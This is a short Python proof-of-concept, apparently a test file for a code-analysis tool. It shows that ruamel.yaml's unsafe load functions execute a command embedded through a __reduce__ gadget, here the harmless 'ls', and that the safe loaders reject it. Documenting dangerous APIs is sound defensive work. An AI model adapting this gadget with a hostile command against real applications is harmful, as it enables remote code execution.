#!/usr/bin/env python3

# this file doesn't have a .py extension so the extractor doesn't pick it up, so it
# doesn't have to be annotated

# This file is just a Proof of Concept for how code execution can be triggered.

import os
import ruamel.yaml

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls',))

data = Exploit()
serialized_data = ruamel.yaml.dump(data)

# All these will execute `ls`
print("!!! ruamel.yaml.load")
ruamel.yaml.load(serialized_data)

print("!!! ruamel.yaml.load kwarg")
ruamel.yaml.load(stream=serialized_data)

print("!!! ruamel.yaml.load with Loader=ruamel.yaml.Loader")
ruamel.yaml.load(serialized_data, ruamel.yaml.Loader)

print("!!! ruamel.yaml.load with Loader=ruamel.yaml.UnsafeLoader")
ruamel.yaml.load(serialized_data, ruamel.yaml.UnsafeLoader)

print("!!! ruamel.yaml.load with Loader=ruamel.yaml.CLoader")
ruamel.yaml.load(serialized_data, ruamel.yaml.CLoader)

# you need to iterate through the result for it to execute... but it still works
print("!!! ruamel.yaml.load_all")
for _ in ruamel.yaml.load_all(serialized_data):
    pass

# check that the safe version is actually safe
print("\n" + "-"*80)
print("safe versions")
print("-" * 80)

print("!!! ruamel.yaml.safe_load")
try:
    ruamel.yaml.safe_load(serialized_data)
    raise Exception("should not happen")
except ruamel.yaml.constructor.ConstructorError:
    pass

print("!!! ruamel.yaml.load with Loader=ruamel.yaml.SafeLoader")
try:
    ruamel.yaml.load(serialized_data, ruamel.yaml.SafeLoader)
    raise Exception("should not happen")
except ruamel.yaml.constructor.ConstructorError:
    pass

print("!!! ruamel.yaml.load with Loader=ruamel.yaml.CSafeLoader")
try:
    ruamel.yaml.load(serialized_data, ruamel.yaml.CSafeLoader)
    raise Exception("should not happen")
except ruamel.yaml.constructor.ConstructorError:
    pass
